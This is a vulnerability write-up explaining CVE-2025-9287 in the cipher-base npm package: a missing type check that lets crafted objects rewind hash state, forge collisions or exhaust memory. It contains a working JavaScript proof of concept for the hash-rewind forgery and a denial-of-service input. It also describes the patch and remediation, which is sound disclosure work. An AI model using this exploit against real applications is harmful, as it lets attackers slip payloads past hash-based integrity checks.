CVE-2025-9287: Rewinding Hashes in cipher-base – A Cryptographic Time Machine
What if you could turn back time? In the world of software, that usually involves a git revert
. But in cryptography, it's the kind of superpower that can bring systems to their knees. Today, we're dissecting CVE-2025-9287, a fascinating vulnerability in the popular cipher-base
npm package that allowed attackers to do just that: rewind the state of a hash function, leading to everything from denial-of-service to potential private key extraction. Grab your coffee, and let's dive into how a simple missing type check created a cryptographic time machine.
TL;DR / Executive Summary
CVE-2025-9287 is a critical vulnerability in the cipher-base
npm package (versions <= 1.0.4
), a core dependency of crypto-browserify
. The issue stems from a missing input type check in its hashing functions. While Node.js's native crypto
module is strict about its inputs, this polyfill was not. Attackers could pass specially crafted JavaScript objects instead of the expected Buffer
or string
. This could be exploited to rewind the internal state of a hash, create hash collisions with different inputs, or cause a Denial of Service (DoS). In downstream cryptographic libraries that use this for nonce generation, this vulnerability could even lead to private key recovery. The fix is to update cipher-base
to version 1.0.5
or newer. Run npm audit fix
to patch your projects.
Introduction: The Danger of Assumptions
In the vast JavaScript ecosystem, we often need code that runs on both the server (Node.js) and the client (the browser). This is where polyfills come in. Packages like crypto-browserify
are heroic efforts to replicate Node.js's native APIs, like the powerful crypto
module, for the browser. Millions of projects rely on these polyfills to handle client-side cryptography, from hashing passwords to signing transactions in web3 applications.
But what happens when a polyfill doesn't perfectly mimic its native counterpart? CVE-2025-9287 is a textbook example of this "assumption gap." The developers of cipher-base
assumed that data passed to its update
function would be a string
or a Buffer
. This single assumption opened a Pandora's box of unexpected behaviors, proving once again that in security, you should never trust—you must always verify.
Technical Deep Dive: How to Break a Hash
Root Cause Analysis
The native Node.js crypto.createHash().update()
function is very particular. It only accepts a string
, Buffer
, TypedArray
, or DataView
. If you give it anything else, it throws a TypeError
. This is good, secure behavior.
The vulnerable version of cipher-base
, however, played fast and loose with its inputs. Here's a simplified look at the problematic code:
// VULNERABLE CODE (Simplified)
CipherBase.prototype.update = function (data, inputEnc, outputEnc) {
// The assumption is made here: if it's not a string, it must be a Buffer.
var bufferData = typeof data === 'string' ? Buffer.from(data, inputEnc) : data;
var outData = this._update(bufferData);
// ...
};
The code checks if data
is a string. If not, it just assumes it's a Buffer-like object and passes it along. An attacker could instead provide a plain JavaScript object, like { "foo": "bar", "length": 10 }
. The downstream code would then operate on this object, reading properties like length
to determine how to proceed. This is where the magic—and the mayhem—begins.
Think of it like a librarian who's been asked to copy a book. You're supposed to hand them a physical book. Instead, you hand them a piece of paper that says, "This is a book with -50 pages." A vigilant librarian would reject it. A vulnerable one might get confused and start erasing the 50 pages they just copied from the previous book. That's exactly what happens here.
Attack Vectors and Business Impact
This simple flaw enables several powerful attacks:
- Hash State Rewind (The Time Machine): This is the most clever exploit. An attacker can send a sequence of data chunks. The first chunk is their malicious data. The second is a crafted object like
{ length: -100 }
, where-100
is the negative length of their malicious data. The hashing function reads this negative length and effectively rewinds its internal state, "forgetting" it ever saw the malicious data. The final chunk is the legitimate data. The resulting hash matches the legitimate data perfectly, but the application has already processed the attacker's malicious payload. - Hash Collisions: An attacker could submit an object like
{ length: buf.length, ...buf, 0: buf[0] + 256 }
. The hashing function, when converting this to a buffer, would truncate the first byte's value ((buf[0] + 256) % 256
isbuf[0]
). The hash would be identical to the originalbuf
. However, other parts of the application (like a library for handling large numbers) might seebuf[0] + 256
as a different value, leading to logic errors. - Denial of Service (DoS): The easiest attack. Sending
{ length: '1e99' }
would cause the library to try and allocate an enormous buffer, freezing the application and consuming all available memory. - Private Key Extraction (The Holy Grail): This is a second-order effect but the most severe. Cryptographic signature schemes like ECDSA require a unique, random number for every signature, called a nonce. This nonce is often generated by hashing the message and the private key. If an attacker can use the collision or rewind bug to make the system generate the same nonce for two different messages, they can perform some clever math to calculate the private key. Game over.
Proof of Concept (PoC)
Let's demonstrate the hash rewind attack. The goal is to make the hash of [malicious_data, valid_data]
equal to the hash of [valid_data]
alone.
The PoC from the advisory is brilliant in its simplicity.
const createHash = require('create-hash/browser.js'); // Uses the vulnerable cipher-base
const { randomBytes } = require('crypto');
// A simple SHA256 hashing function
const sha256 = (...messages) => {
const hash = createHash('sha256');
messages.forEach((m) => hash.update(m));
return hash.digest('hex');
};
// This function crafts our malicious payload
const forgeHash = (valid, wanted) => {
// 1. `wanted`: The attacker's data.
// 2. `{ length: -wanted.length }`: The "rewind" instruction.
// 3. `{ ...valid, length: valid.length }`: The original data, spread into a Buffer-like object.
return JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }]);
};
// 1. Generate some valid message data
const validMessage = [randomBytes(32), randomBytes(32)];
const validBuffer = Buffer.concat(validMessage);
// 2. Craft the payload
const attackerData = 'Hacked!';
const payload = forgeHash(validBuffer, attackerData);
// 3. Simulate receiving the payload over the network and parsing it
const receivedMessage = JSON.parse(payload);
// 4. Compare the hashes
const originalHash = sha256(...validMessage);
const manipulatedHash = sha256(...receivedMessage);
console.log(`Original Hash: ${originalHash}`);
console.log(`Attacker's Hash: ${manipulatedHash}`);
console.log(`Hashes Match: ${originalHash === manipulatedHash}`);
console.log(`First item processed by the app: "${receivedMessage[0]}"`);
Expected Output:
Original Hash: d1ec9720f03267915d2696a123701154cb5c130845360d3555975f2523f2a8a5
Attacker's Hash: d1ec9720f03267915d2696a123701154cb5c130845360d3555975f2523f2a8a5
Hashes Match: true
First item processed by the app: "Hacked!"
As you can see, the hashes are identical. The application believes it has processed only the valid data, but the attacker's payload ("Hacked!"
) was the first thing to go through the update
function before its effects were erased from the hash state.
Mitigation and Remediation
Patch Analysis: The Fix
The fix, committed in cipher-base
version 1.0.5
, is a perfect example of defensive programming. Instead of assuming the input type, it validates it explicitly.
Here's the core of the patch in index.js
:
// PATCHED CODE
CipherBase.prototype.update = function (data, inputEnc, outputEnc) {
var bufferData;
if (data instanceof Buffer) {
bufferData = data;
} else if (typeof data === 'string') {
bufferData = Buffer.from(data, inputEnc);
} else if (useArrayBuffer && ArrayBuffer.isView(data)) {
// Handle TypedArrays and DataViews correctly
bufferData = Buffer.from(data.buffer, data.byteOffset, data.byteLength);
} else {
// If it's none of the above, throw an error!
throw new Error('The "data" argument must be of type string or an instance of Buffer, TypedArray, or DataView.');
}
var outData = this._update(bufferData);
// ...
};
The patch introduces a series of checks to handle all valid types (Buffer
, string
, TypedArray
). Most importantly, it adds a final else
block that throws an error for any unexpected input type. This closes the vulnerability completely by enforcing the same strict contract as the native crypto
module. No more malicious objects slipping through the cracks.
Remediation Steps
- Immediate Fix: Run
npm audit fix
oryarn audit
in your project. This should automatically updatecipher-base
to a patched version. - Manual Update: If you have
cipher-base
as a direct dependency, update it in yourpackage.json
:npm install cipher-base@latest
. - Verification: Check your
package-lock.json
oryarn.lock
to ensure that all instances ofcipher-base
are resolved to version1.0.5
or higher.
Timeline
- Discovery Date: (Estimated) July 2025
- Vendor Notification: July 15, 2025
- Patch Availability: August 18, 2025 (Commit
8fd1364
) - Public Disclosure: August 20, 2025
Lessons Learned
- Polyfills Must Be Perfect Mimics: When creating a polyfill for a security-sensitive API, you must replicate its behavior exactly, including its error handling and type checking. The gap between "mostly works" and "is identical" is where vulnerabilities thrive.
- Input Validation is Non-Negotiable: This is Security 101, but it bears repeating. Never trust input, especially in a library that will be consumed by thousands of other projects. Always validate the type, shape, and size of data before processing it.
- The Power of Fuzzing: This bug is a prime candidate for discovery via fuzz testing. Feeding the
update
function with a wide variety of malformed inputs (invalid types, strange objects, extreme values) would have likely triggered the undefined behavior and crashed the program, revealing the flaw long before it was exploited.
The key takeaway? Your security is only as strong as your dependencies. A seemingly minor bug in a foundational library can have devastating ripple effects across the entire ecosystem. So, go check your package-lock.json
files. You might just find a tiny time machine lurking in there.
References and Further Reading
- GitHub Advisory: GHSA-cpq7-6gpm-g9rc
- Patch Commit: Fix on GitHub (
8fd1364
) - Related Research (Nonce Reuse): Elliptic Curve Private Key Recovery from Nonce Reuse
- NPM Package:
cipher-base